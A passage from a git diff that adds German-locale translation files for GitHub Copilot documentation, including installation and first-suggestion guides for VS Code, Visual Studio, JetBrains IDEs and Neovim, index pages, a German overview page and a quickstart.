+2. If you are disabling {% data variables.product.prodname_copilot %}, you will be asked whether you want to disable it globally, or for the language of the file you are currently editing.
+
+   - To disable suggestions from {% data variables.product.prodname_copilot %} globally, click **Disable Completions**.
+   - To disable suggestions from {% data variables.product.prodname_copilot %} for the specified language, click **Disable Completions for _LANGUAGE_**.
+   ![Screenshot of option to disable {% data variables.product.prodname_copilot %} globally or for the current language](/assets/images/help/copilot/disable-copilot-global-or-langugage-jetbrains.png)
+
+
+## Further reading
+
+- [The {% data variables.product.prodname_copilot %} website](https://copilot.github.com/)
+- [About {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot#about-the-license-for-the-github-copilot-plugin-in-jetbrains-ides)
diff --git a/translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim.md b/translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim.md
new file mode 100644
index 0000000000..d2ee747226
--- /dev/null
+++ b/translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim.md
@@ -0,0 +1,74 @@
+---
+title: Getting started with GitHub Copilot in Neovim
+shortTitle: Neovim
+product: '{% data reusables.gated-features.copilot %}'
+intro: 'Learn how to install {% data variables.product.prodname_copilot %} in Neovim, and start seeing suggestions as you write comments and code.'
+versions:
+  feature: copilot
+topics:
+  - Copilot
+---
+
+## About {% data variables.product.prodname_copilot %} and Neovim
+
+{% data reusables.copilot.procedural-intro %}
+
+If you use a Neovim, you can view and incorporate suggestions from {% data variables.product.prodname_copilot %} directly within the editor.
+
+## Prerequisites
+
+- To use {% data variables.product.prodname_copilot %} you must have an active {% data variables.product.prodname_copilot %} subscription. For more information, see "[About billing for {% data variables.product.prodname_copilot %}](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot)."
+
+- To use {% data variables.product.prodname_copilot %} in Neovim you must have Neovim and Node.js version 17 or below installed. For more information, see the [Neovim documentation](https://neovim.io/doc/) and the [Node.js website](https://nodejs.org/en/).
+
+## Installing the Neovim extension
+
+{% mac %}
+
+{% data reusables.copilot.install-copilot-in-neovim %}
+   - To install {% data variables.product.prodname_copilot %} with Neovim's built-in plugin manager, enter the following command in Terminal.
+
+         git clone https://github.com/github/copilot.vim \
+            ~/.config/nvim/pack/github/start/copilot.vim
+
+{% data reusables.copilot.config-enable-copilot-in-neovim %}
+
+{% endmac %}
+
+
+{% windows %}
+
+{% data reusables.copilot.install-copilot-in-neovim %}
+   - To install {% data variables.product.prodname_copilot %} with Neovim's built-in plugin manager, enter the following command in Git Bash.
+
+           git clone https://github.com/github/copilot.vim.git `
+            $HOME/AppData/Local/nvim/pack/github/start/copilot.vim
+
+{% data reusables.copilot.config-enable-copilot-in-neovim %}
+
+{% endwindows %}
+
+
+{% linux %}
+
+{% data reusables.copilot.install-copilot-in-neovim %}
+   - To install {% data variables.product.prodname_copilot %} with Neovim's built-in plugin manager, enter the following command:
+
+         git clone https://github.com/github/copilot.vim \
+            ~/.config/nvim/pack/github/start/copilot.vim
+
+{% data reusables.copilot.config-enable-copilot-in-neovim %}
+
+{% endlinux %}
+
+## Learning to use {% data variables.product.prodname_copilot %} in Neovim
+
+For guidance on using {% data variables.product.prodname_copilot %} in Neovim, you can view the plugin documentation. To see the documentation, open Neovim and run the following command.
+
+  ```
+  :help copilot
+  ```
+
+## Further reading
+
+- [{% data variables.product.prodname_copilot %}](https://copilot.github.com/)
diff --git a/translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code.md b/translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code.md
new file mode 100644
index 0000000000..75694b710b
--- /dev/null
+++ b/translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code.md
@@ -0,0 +1,114 @@
+---
+title: Getting started with GitHub Copilot in Visual Studio Code
+shortTitle: Visual Studio Code
+intro: 'Learn how to install {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}, and start seeing suggestions as you write comments and code.'
+product: '{% data reusables.gated-features.copilot %}'
+versions:
+  feature: copilot
+topics:
+  - Copilot
+---
+
+## About {% data variables.product.prodname_copilot %} and {% data variables.product.prodname_vscode %}
+
+{% data reusables.copilot.procedural-intro %}
+
+If you use {% data variables.product.prodname_vscode %}, you can view and incorporate suggestions from {% data variables.product.prodname_copilot %} directly within the editor. This guide demonstrates how to use {% data variables.product.prodname_copilot %} within {% data variables.product.prodname_vscode %} for macOS, Windows, or Linux.
+
+## Prerequisites
+
+To use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}, you must have {% data variables.product.prodname_vscode %} installed. For more information, see the [{% data variables.product.prodname_vscode %} download page](https://code.visualstudio.com/Download).
+
+## Installing the {% data variables.product.prodname_vscode %} extension
+
+To use {% data variables.product.prodname_copilot %}, you must first install the {% data variables.product.prodname_vscode %} extension.
+
+1. In the {% data variables.product.prodname_vscode %} Marketplace, go to the [{% data variables.product.prodname_copilot %} extension](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot) page and click **Install**.
+   ![Install {% data variables.product.prodname_copilot %} extension {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/install-copilot-extension-visual-studio-code.png)
+1. A popup will appear, asking to open {% data variables.product.prodname_vscode %}. Click **Open {% data variables.product.prodname_vscode %}**.
+1. In the "Extension: {% data variables.product.prodname_copilot %}" tab in {% data variables.product.prodname_vscode %}, click **Install**.
+   ![Install button in {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/in-visual-studio-code-install-button.png)
+1. If you have not previously authorized {% data variables.product.prodname_vscode %} in your {% data variables.product.prodname_dotcom %} account, you will be prompted to sign in to {% data variables.product.prodname_dotcom %} in {% data variables.product.prodname_vscode %}.
+   - If you have previously authorized {% data variables.product.prodname_vscode %} for your account on {% data variables.product.prodname_dotcom %}, {% data variables.product.prodname_copilot %} will be automatically authorized.
+   ![Screen shot of {% data variables.product.prodname_vscode %} authorization screen](/assets/images/help/copilot/vsc-copilot-authorize.png)
+1. In your browser, {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_vscode %}**.
+1. In {% data variables.product.prodname_vscode %}, in the "{% data variables.product.prodname_vscode %}" dialog box, to confirm the authentication, click **Open**.
+   
+
+## Seeing your first suggestion
+
+{% data reusables.copilot.code-examples-limitations %}
+
+{% data reusables.copilot.supported-languages %} The following samples are in JavaScript, but other languages will work similarly.
+
+{% data reusables.copilot.create-js-file %}
+1. In the JavaScript file, type the following function header. {% data variables.product.prodname_copilot %} will automatically suggest an entire function body in grayed text, as shown below. The exact suggestion may vary.
+  ```javascript{:copy}
+  function calculateDaysBetweenDates(begin, end) {
+  ```
+   ![Screenshot of a first suggestion {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/first-suggestion-visual-studio-code.png)
+{% data reusables.copilot.accept-suggestion %}
+
+## Seeing alternative suggestions
+
+{% data reusables.copilot.alternative-suggestions %}
+
+{% data reusables.copilot.create-js-file %}
+1. In the JavaScript file, type the following function header. {% data variables.product.prodname_copilot %} will show you a suggestion.
+  ```javascript{:copy}
+  function calculateDaysBetweenDates(begin, end) {
+  ```
+{% data reusables.copilot.see-alternative-suggestions %}
+
+   | OS | See next suggestion | See previous suggestion |
+   | :- | :- | :- |
+   |macOS|<kbd>Option (⌥) or Alt</kbd>+<kbd>]</kbd>|<kbd>Option (⌥) or Alt</kbd>+<kbd>[</kbd>|
+   |Windows|<kbd>Alt</kbd>+<kbd>]</kbd>|<kbd>Alt</kbd>+<kbd>[</kbd>|
+   |Linux|<kbd>Alt</kbd>+<kbd>]</kbd>|<kbd>Alt</kbd>+<kbd>[</kbd>|
+1. Alternatively, you can hover over the suggestion to see the {% data variables.product.prodname_copilot %} command palette for choosing suggestions.
+{% data reusables.copilot.accept-or-reject-suggestion %}
+
+## Seeing multiple suggestions in a new tab
+
+{% data reusables.copilot.suggestions-new-tab %}
+
+{% data reusables.copilot.create-js-file %}
+1. In the JavaScript file, type the following function header. {% data variables.product.prodname_copilot %} will show you a suggestion.
+  ```javascript{:copy}
+  function calculateDaysBetweenDates(begin, end) {
+  ```
+1. To open a new tab with multiple additional options, press <kbd>Ctrl</kbd>+<kbd>Enter</kbd>.
+1. To accept a suggestion, above the suggestion, click **Accept Solution**. To reject all suggestions, close the tab.
+
+## Generating code suggestions from comments
+
+{% data reusables.copilot.generating-suggestions-from-comments %}
+
+{% data reusables.copilot.create-js-file %}
+1. In the JavaScript file, type the following comment. {% data variables.product.prodname_copilot %} will suggest an implementation of the function.
+   ```javascript{:copy}
+   // find all images without alternate text
+   // and give them a red border
+   function process() {
+   ```
+
+## Using a framework
+
+You can also use {% data variables.product.prodname_copilot %} to generate suggestions for APIs and frameworks. The following example uses {% data variables.product.prodname_copilot %} to create a simple Express server that returns the current time.
+
+{% data reusables.copilot.create-js-file %}
+1. In the JavaScript file, type the following comment and then press <kbd>Enter</kbd>. {% data variables.product.prodname_copilot %} will suggest an implementation of the Express app.
+   ```javascript{:copy}
+   // Express server on port 3000
+1. To accept each line, press <kbd>Tab</kbd>, then <kbd>Enter</kbd>.
+1. Type the following comment and then press <kbd>Enter</kbd>. {% data variables.product.prodname_copilot %} will suggest an implementation for the default handler. 
+   ```javascript{:copy}
+   // Return the current time
+   ```
+1. To accept each line, press <kbd>Tab</kbd>.
+
+{% data reusables.copilot.enabling-or-disabling-in-vsc %}
+
+## Further reading
+
+- [{% data variables.product.prodname_copilot %}](https://copilot.github.com/)
diff --git a/translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio.md b/translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio.md
new file mode 100644
index 0000000000..0aaade3943
--- /dev/null
+++ b/translations/de-DE/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio.md
@@ -0,0 +1,94 @@
+---
+title: Getting started with GitHub Copilot in Visual Studio
+shortTitle: Visual Studio
+product: '{% data reusables.gated-features.copilot %}'
+intro: 'Learn how to install {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %}, and start seeing suggestions as you write comments and code.'
+versions:
+  feature: copilot
+topics:
+  - Copilot
+---
+
+## About {% data variables.product.prodname_copilot %} and Visual Studio
+
+{% data reusables.copilot.procedural-intro %}
+
+If you use {% data variables.product.prodname_vs %}, you can view and incorporate suggestions from {% data variables.product.prodname_copilot %} directly within the editor. This guide demonstrates how to use {% data variables.product.prodname_copilot %} within {% data variables.product.prodname_vs %} for Windows.
+
+## Prerequisites
+
+To use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %}, you must have {% data variables.product.prodname_vs %} 2022 17.2 or later installed. For more information, see the [Visual Studio IDE](https://visualstudio.microsoft.com/vs/) documentation.
+
+{% note %}
+
+**Note**: {% data variables.product.prodname_copilot %} is not currently available for use with Visual Studio for Mac.
+
+{% endnote %}
+
+## Installing the {% data variables.product.prodname_vs %} extension
+
+To use {% data variables.product.prodname_copilot %}, you must first install the {% data variables.product.prodname_vs %} extension.
+1. In the Visual Studio toolbar, click **Extensions**, then click **Manage Extensions**.
+   ![Screenshot of the Visual Studio toolbar](/assets/images/help/copilot/visual-studio-toolbar.png)
+1. In the "Manage Extensions" window, click **Visual Studio Marketplace**, search for the {% data variables.product.prodname_copilot %} extension, then click **Download**.
+   ![Screenshot of GitHub Copilot extension for Visual Studio with the download button emphasized](/assets/images/help/copilot/install-copilot-extension-visual-studio.png)
+1. Close the "Manage Extensions" window, then exit and relaunch {% data variables.product.prodname_vs %}.
+1. Optionally, to check that {% data variables.product.prodname_copilot %} is installed and enabled, go back to **Manage Extensions**, click **Installed** to view your currently installed extensions, then click **{% data variables.product.prodname_copilot %}** to see status information.
+  ![Screenshot of installed extensions in Visual Studio with GitHub Copilot emphasized](/assets/images/help/copilot/installed-copilot-extension-visual-studio.png)
+1. Open or create a new project in {% data variables.product.prodname_vs %}. 
+1. In the "Microsoft {% data variables.product.prodname_vs %}" dialog box, to copy your device activation code, click **OK**.
+   ![Screenshot of the Microsoft {% data variables.product.prodname_vs %} dialogue box](/assets/images/help/copilot/vs-auth-dialogue.png)
+1. A device activation window will open in your browser. Paste the device code, then click **Continue**.
+
+   - To paste the code in Windows or Linux, press <kbd>Ctrl</kbd>+<kbd>v</kbd>.
+   - To paste the code in macOS, press <kbd>command</kbd>+<kbd>v</kbd>.
+1. {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_copilot %} Plugin**.
+1. After you approve the permissions, {% data variables.product.prodname_vs %} will show a confirmation.
+   ![Screenshot of {% data variables.product.prodname_vs %} permissions confirmation](/assets/images/help/copilot/vs-confirmation.png)
+
+## Seeing your first suggestion
+
+{% data reusables.copilot.code-examples-limitations %}
+{% data reusables.copilot.supported-languages %} The following samples are in C#, but other languages will work similarly.
+
+{% data reusables.copilot.create-c-file %}
+1. In the C# file, type the following function signature. {% data variables.product.prodname_copilot %} will automatically suggest an entire function body in grayed text, as shown below. The exact suggestion may vary.
+  ```csharp{:copy}
+  int CalculateDaysBetweenDates(
+  ```
+  ![Screenshot of a first suggestion Visual Studio Code](/assets/images/help/copilot/first-suggestion-visual-studio.png)
+{% data reusables.copilot.accept-suggestion %}
+ 
+## Seeing alternative suggestions
+{% data reusables.copilot.alternative-suggestions %}
+{% data reusables.copilot.create-c-file %}
+1. In the C# file, type the following function signature. {% data variables.product.prodname_copilot %} will show you a suggestion.
+
+   ```csharp{:copy}
+   int CalculateDaysBetweenDates(
+   ```
+1. If alternative suggestions are available, you can see these alternatives by pressing <kbd>Alt</kbd>+<kbd>]</kbd> (or <kbd>Alt</kbd>+<kbd>[</kbd>).
+1. Optionally, you can hover over the suggestion to see the {% data variables.product.prodname_copilot %} command palette for choosing suggestions.
+{% data reusables.copilot.accept-or-reject-suggestion %}
+
+## Generating code suggestions from comments
+
+{% data reusables.copilot.generating-suggestions-from-comments %}
+
+{% data reusables.copilot.create-c-file %}
+1. In the C# file, type the following comment. {% data variables.product.prodname_copilot %} will suggest an implementation of the function.
+   ```csharp{:copy}
+   using System.Xml.Linq;
+
+   var doc = XDocument.Load("index.xhml");
+   
+   // find all images
+   ```
+{% data reusables.copilot.accept-suggestion %}
+
+
+{% data reusables.copilot.enabling-or-disabling-vs %}
+
+## Further reading
+
+- [{% data variables.product.prodname_copilot %}](https://copilot.github.com/)
diff --git a/translations/de-DE/content/copilot/getting-started-with-github-copilot/index.md b/translations/de-DE/content/copilot/getting-started-with-github-copilot/index.md
new file mode 100644
index 0000000000..c742443e9e
--- /dev/null
+++ b/translations/de-DE/content/copilot/getting-started-with-github-copilot/index.md
@@ -0,0 +1,21 @@
+---
+title: Erste Schritte mit GitHub Copilot
+shortTitle: Get started with GitHub Copilot
+intro: 'Du kannst mit der Nutzung von {% data variables.product.prodname_copilot %} beginnen, indem du die Erweiterung in deiner bevorzugten Umgebung installierst.'
+versions:
+  feature: copilot
+topics:
+  - Copilot
+children:
+  - /getting-started-with-github-copilot-in-visual-studio-code
+  - /getting-started-with-github-copilot-in-visual-studio
+  - /getting-started-with-github-copilot-in-a-jetbrains-ide
+  - /getting-started-with-github-copilot-in-neovim
+ms.openlocfilehash: 31b43f0c2bf69bda04ee8176b2c7d03e4f1123da
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147080148'
+---
+
diff --git a/translations/de-DE/content/copilot/index.md b/translations/de-DE/content/copilot/index.md
new file mode 100644
index 0000000000..1dd2c3b239
--- /dev/null
+++ b/translations/de-DE/content/copilot/index.md
@@ -0,0 +1,40 @@
+---
+title: GitHub Copilot
+shortTitle: GitHub Copilot
+intro: 'Von dem KI-Paarprogrammierer {% data variables.product.prodname_copilot %} kannst du während des Programmierens AutoVervollständigen-Vorschläge erhalten.'
+redirect_from:
+  - /github/copilot
+changelog:
+  label: copilot
+introLinks:
+  overview: /copilot/overview-of-github-copilot/about-github-copilot
+  quickstart: /copilot/quickstart
+featuredLinks:
+  guides:
+    - /copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code
+    - /copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide
+    - /copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio
+    - /copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim
+  popular:
+    - /billing/managing-billing-for-github-copilot/about-billing-for-github-copilot
+    - /copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio-code
+    - /copilot/configuring-github-copilot/configuring-github-copilot-in-a-jetbrains-ide
+    - /copilot/configuring-github-copilot/configuring-github-copilot-settings-on-githubcom
+layout: product-landing
+versions:
+  feature: copilot
+children:
+  - /quickstart
+  - /overview-of-github-copilot
+  - /getting-started-with-github-copilot
+  - /configuring-github-copilot
+topics:
+  - Copilot
+ms.openlocfilehash: 9a6100d2b5fe0bf8b710ce19e6a12f0afee42913
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147443696'
+---
+
diff --git a/translations/de-DE/content/copilot/overview-of-github-copilot/about-github-copilot.md b/translations/de-DE/content/copilot/overview-of-github-copilot/about-github-copilot.md
new file mode 100644
index 0000000000..e511d00aa8
--- /dev/null
+++ b/translations/de-DE/content/copilot/overview-of-github-copilot/about-github-copilot.md
@@ -0,0 +1,46 @@
+---
+title: Informationen zu GitHub Copilot
+intro: '{% data variables.product.prodname_copilot %} kann dir mit AutoVervollständigen-Vorschlägen bei der Programmierung helfen. Du erfährst, was bei der Verwendung von {% data variables.product.prodname_copilot %} zu beachten ist, und wie {% data variables.product.prodname_copilot %} funktioniert.'
+versions:
+  feature: copilot
+topics:
+  - Copilot
+shortTitle: About GitHub Copilot
+ms.openlocfilehash: dd4538cb4cf6fc9dd84bb3f0d05bf8a85559d5ec
+ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: '148160640'
+---
+## Informationen zu {% data variables.product.prodname_copilot %}
+
+{% data variables.product.prodname_copilot %} ist ein KI-Paarprogrammierer, der während des Programmierens AutoVervollständigen-Vorschlägen anbietet. Du kannst Vorschläge von {% data variables.product.prodname_copilot %} erhalten, indem du entweder beginnst, den gewünschten Code zu schreiben, oder indem du in einem Kommentar in natürlicher Sprache beschreibst, was der Code tun soll. {% data variables.product.prodname_copilot %} analysiert den Kontext in der Datei, die du gerade bearbeitest, sowie in verwandten Dateien, und bietet Vorschläge in deinem Text-Editor an. {% data variables.product.prodname_copilot %} wird von OpenAI Codex unterstützt, einem neuen KI-System, das von OpenAI erstellt wurde.
+
+{% data variables.product.prodname_copilot %} wird für alle Sprachen trainiert, die in öffentlichen Repositorys angezeigt werden. Für jede Sprache hängt die Qualität der Vorschläge, die du erhältst, von der Menge und Vielfalt der Trainingsdaten für diese Sprache ab. JavaScript ist beispielsweise in öffentlichen Repositorys gut vertreten und eine der am besten unterstützten Sprachen von {% data variables.product.prodname_copilot %}. Sprachen mit weniger Präsenz in öffentlichen Repositorys können weniger oder weniger robuste Vorschläge liefern.
+
+{% data variables.product.prodname_copilot %} ist als Erweiterung in Visual Studio Code, Visual Studio, Neovim und der JetBrains-Suite von IDEs verfügbar. Weitere Informationen findest du unter [Erste Schritte mit {% data variables.product.prodname_copilot %}](/copilot/getting-started-with-github-copilot).
+
+## Verwenden von {% data variables.product.prodname_copilot %}
+
+Du kannst Praxisbeispiele von {% data variables.product.prodname_copilot %} in Aktion sehen. Weitere Informationen findest du auf der [{% data variables.product.prodname_copilot %}](https://copilot.github.com/)-Website. 
+
+GitHub Copilot bietet Vorschläge aus einem Modell, das OpenAI aus Milliarden von Open Source-Code-Zeilen erstellt hat. Daher kann der Trainingssatz für {% data variables.product.prodname_copilot %} unsichere Codierungsmuster, Fehler oder Verweise auf veraltete APIs oder Idiome enthalten. Wenn {% data variables.product.prodname_copilot %} Vorschläge auf diesen Trainingsdaten basierend erzeugt, können diese Vorschläge auch unerwünschte Muster enthalten. 
+
+Du bist für Sicherheit und Qualität deines Codes verantwortlich. Wenn du von {% data variables.product.prodname_copilot %} generierten Code verwendest, solltest du dieselben Vorsichtsmaßnahmen ergreifen wie beim Verwenden von Code, den du nicht selbst geschrieben hast. Diese Vorsichtsmaßnahmen umfassen strenge Tests, IP-Überprüfungen und Nachverfolgung bezüglich Sicherheitsrisiken. {% data variables.product.company_short %} bietet eine Reihe von Funktionen, die dir bei der Überwachung und Verbesserung der Codequalität helfen, wie {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dependabot %}, {% data variables.product.prodname_codeql %} und {% data variables.product.prodname_code_scanning %}. Alle diese Features können kostenlos in öffentlichen Repositorys verwendet werden. Weitere Informationen findest du unter [Grundlegendes zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions) und [{% data variables.product.company_short %}-Sicherheitsfeatures](/code-security/getting-started/github-security-features).
+
+{% data variables.product.prodname_copilot %} verwendet Filter, um anstößige Wörter in den Eingabeaufforderungen zu blockieren und das Erstellen von Vorschlägen in sensiblen Kontexten zu vermeiden. Wir sind bestrebt, das Filtersystem ständig zu verbessern, um anstößige Vorschläge, die von {% data variables.product.prodname_copilot %} generiert werden, einschließlich voreingenommener, diskriminierender oder missbräuchlicher Ausgaben, intelligenter zu erkennen und zu entfernen. Wenn du einen von {% data variables.product.prodname_copilot %} generierten anstößigen Vorschlag siehst, melde ihn bitte direkt an copilot-safety@github.com, damit wir unsere Sicherheitsvorkehrungen verbessern können. 
+
+{% data reusables.copilot.emus-cannot-use-copilot %}
+
+## Informationen zur Abrechnung für {% data variables.product.prodname_copilot %}
+
+{% data variables.product.prodname_copilot %} ist ein kostenpflichtiges Feature, das ein monatliches oder jährliches Abonnement erfordert. Verifizierte Schüler, Lehrer und Betreuer beliebter Open Source-Projekte auf {% data variables.product.prodname_dotcom %} sind berechtigt, {% data variables.product.prodname_copilot %} kostenlos zu verwenden. Wenn du die Kriterien für ein kostenloses {% data variables.product.prodname_copilot %}-Abonnement erfüllst, wirst du automatisch benachrichtigt, wenn du die Abonnementseite {% data variables.product.prodname_copilot %} besuchst. Wenn du die Kriterien für ein kostenloses {% data variables.product.prodname_copilot %}-Abonnement nicht erfüllst, wird dir eine kostenlose 60-Tage-Testversion angeboten, nach deren Ablauf ein kostenpflichtiges Abonnement für die fortgesetzte Nutzung erforderlich ist. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_copilot %}](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot).
+
+## Informationen zur Lizenz für das {% data variables.product.prodname_copilot %}-Plug-In in JetBrains-IDEs
+
+{% data variables.product.prodname_dotcom %}, Inc. ist der Lizenzgeber des JetBrains-Plug-Ins. Der Endbenutzerlizenzvertrag für dieses Plug-In sind die [{% data variables.product.prodname_dotcom %}-Bedingungen für zusätzliche Produkte und Features](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot), und die Nutzung dieses Plug-Ins unterliegt diesen Bedingungen. JetBrains übernimmt keine Verantwortung oder Haftung im Zusammenhang mit dem Plug-In oder dieser Vereinbarung. Durch die Nutzung des Plug-Ins stimmst du den vorstehenden Bedingungen zu.
+
+## Weitere Informationsquellen
+
+- [{% data variables.product.company_short %}-Bedingungen für zusätzliche Produkte und Features](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot)
diff --git a/translations/de-DE/content/copilot/overview-of-github-copilot/index.md b/translations/de-DE/content/copilot/overview-of-github-copilot/index.md
new file mode 100644
index 0000000000..d40563baa4
--- /dev/null
+++ b/translations/de-DE/content/copilot/overview-of-github-copilot/index.md
@@ -0,0 +1,18 @@
+---
+title: Übersicht über GitHub Copilot
+shortTitle: Overview of GitHub Copilot
+intro: 'Erfahre mehr über {% data variables.product.prodname_copilot %}, einschließlich Anwendungsfällen und Begriffen zu Governance von {% data variables.product.prodname_copilot %}-Daten.'
+versions:
+  feature: copilot
+topics:
+  - Copilot
+children:
+  - /about-github-copilot
+ms.openlocfilehash: 2b5e6a387ad81fe3fc99ed85dba4302e167bd4b6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147080118'
+---
+
diff --git a/translations/de-DE/content/copilot/quickstart.md b/translations/de-DE/content/copilot/quickstart.md
new file mode 100644
index 0000000000..bde85097a6
--- /dev/null
+++ b/translations/de-DE/content/copilot/quickstart.md
@@ -0,0 +1,67 @@
+---
+title: Quickstart for GitHub Copilot
+intro: '{% data variables.product.prodname_copilot %} can help you work, by offering inline suggestions as you code.'
+product: '{% data reusables.gated-features.copilot %}'
+allowTitleToDifferFromFilename: true
+versions:
+  feature: copilot
+shortTitle: Quickstart
+topics:
+  - Copilot
+---
+
+## Introduction
+
+{% data variables.product.prodname_copilot %} is an AI pair programmer. You can use {% data variables.product.prodname_copilot %} to get suggestions for whole lines or entire functions right inside your editor.
+
+This guide will show you how to sign up for {% data variables.product.prodname_copilot %}, install the {% data variables.product.prodname_copilot %} extension in {% data variables.product.prodname_vscode %}, and get your first suggestion. For more information on {% data variables.product.prodname_copilot %}, see "[About {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot)." For more in-depth information on how to use {% data variables.product.prodname_copilot %} in a variety of environments, see "[Getting Started](/copilot/getting-started-with-github-copilot)."
+
+## Prerequisites
+
+{% data reusables.copilot.copilot-prerequisites %}
+- To use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}, you must have {% data variables.product.prodname_vscode %} installed. For more information, see the [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) documentation.
+
+## Signing up for {% data variables.product.prodname_copilot %}
+
+{% data reusables.copilot.signup-procedure %}
+
+## Installing the {% data variables.product.prodname_copilot %} extension for {% data variables.product.prodname_vscode %}
+
+To use {% data variables.product.prodname_copilot %}, you must first install the {% data variables.product.prodname_vscode %} extension.
+
+1. In the {% data variables.product.prodname_vscode %} Marketplace, go to the [{% data variables.product.prodname_copilot %} extension](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot) page and click **Install**.
+   ![Install {% data variables.product.prodname_copilot %} extension {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/install-copilot-extension-visual-studio-code.png)
+1. A popup will appear, asking to open {% data variables.product.prodname_vscode %}. Click **Open {% data variables.product.prodname_vscode %}**.
+1. In the "Extension: {% data variables.product.prodname_copilot %}" tab in {% data variables.product.prodname_vscode %}, click **Install**.
+   ![Install button in {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/in-visual-studio-code-install-button.png)
+1. If you have not previously authorized {% data variables.product.prodname_vscode %} in your {% data variables.product.prodname_dotcom %} account, you will be prompted to sign in to {% data variables.product.prodname_dotcom %} in {% data variables.product.prodname_vscode %}.
+   - If you have previously authorized {% data variables.product.prodname_vscode %} in your {% data variables.product.prodname_dotcom %} account, {% data variables.product.prodname_copilot %} will be automatically authorized.
+   ![Screen shot of {% data variables.product.prodname_vscode %} authorization screen](/assets/images/help/copilot/vsc-copilot-authorize.png)
+1. In your browser, {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_vscode %}**. 
+1. In {% data variables.product.prodname_vscode %}, in the "{% data variables.product.prodname_vscode %}" dialogue box, to confirm the authentication, click **Open**. 
+
+## Getting your first suggestion
+
+{% data reusables.copilot.code-examples-limitations %}
+
+{% data reusables.copilot.supported-languages %} The following samples are in JavaScript, but other languages will work similarly.
+
+1. Open {% data variables.product.prodname_vscode %}.
+{% data reusables.copilot.create-js-file %}
+{% data reusables.copilot.type-function-header %}
+   {% data variables.product.prodname_copilot %} will automatically suggest an entire function body in grayed text, as shown below. The exact suggestion may vary.
+   ![First suggestion {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/first-suggestion-visual-studio-code.png)
+{% data reusables.copilot.accept-suggestion %}
+
+## Next Steps
+
+You successfully installed {% data variables.product.prodname_copilot %} and received your first suggestion, but that's just the beginning! Here are some helpful resources for taking your next steps with {% data variables.product.prodname_copilot %}.
+
+- [Getting Started](/copilot/getting-started-with-github-copilot): You've learned how to get your first suggestion in {% data variables.product.prodname_vscode %}. These guides show you how to set up and navigate the various functions of {% data variables.product.prodname_copilot %} across all of the supported environments.
+- [{% data variables.product.prodname_copilot %}](https://copilot.github.com/): See practical examples of how {% data variables.product.prodname_copilot %} can help you work.
+- [Configuring {% data variables.product.prodname_copilot %}](/copilot/configuring-github-copilot): These guides provide details on how to configure {% data variables.product.prodname_copilot %} to your personal preferences.
+
+
+## Further reading
+
+- [About {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot)
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop.md
new file mode 100644
index 0000000000..f196745f31
--- /dev/null
